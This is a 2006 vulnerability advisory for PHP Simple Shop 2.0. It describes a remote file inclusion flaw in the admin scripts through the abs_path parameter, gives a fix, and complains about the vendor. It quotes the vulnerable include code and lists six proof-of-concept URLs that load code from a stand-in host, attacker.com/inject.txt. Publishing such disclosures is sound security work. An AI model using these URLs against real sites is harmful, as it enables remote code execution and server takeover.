Author : Ahmad Maulana a.k.a Matdhule

Date Found : August, 07th 2006

Location : Indonesia, Jakarta

web : http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt

Critical Lvl : Highly critical

Impact : System access

Where : From Remote

------------------------------------------------------------------------

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PHP Simple Shop

Application : PHP Simple Shop

version : Latest version [2.0]

URL : http://www.turnkeywebtools.com/phpsimpleshop

------------------------------------------------------------------------
---

Vulnerability:

~~~~~~~~~~~~~~

In folder admin we found vulnerability script index.php

---------------------------index.php------------------------------------
---

....

<?PHP

/*

index.php - $DATE$ - $TIME$ - $VERSION$

PHP Simple Shop

http://www.turnkeywebtools.com/phpsimpleshop/

Copyright (c) 2001-2005 Turnkey Web Tools, Inc.

*/

if (isset($abs_path) && $abs_path != "") {

include $abs_path."admin/adminglobal.php";

} else {

include "./adminglobal.php";

}

...

----------------------------------------------------------

Input passed to the "abs_path" parameter in index.php is not

properly verified before being used. This can be exploited to execute

arbitrary PHP code by including files from local or external

resources.

Also affected files :

adminindex.php

adminglobal.php

login.php

menu.php

header.php

Proof Of Concept:

~~~~~~~~~~~~~~~

http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://a
ttacker.com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=htt
p://attacker.com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=ht
tp://attacker.com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://a
ttacker.com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://at
tacker.com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://
attacker.com/inject.txt?

Solution:

~~~~~~~

- Sanitize variable $abs_path on affected files.

Notification:

~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system,

but instead of giving a nice response, he replied so rudely and arrogantly.

I recommend not to use this product for your own sake.
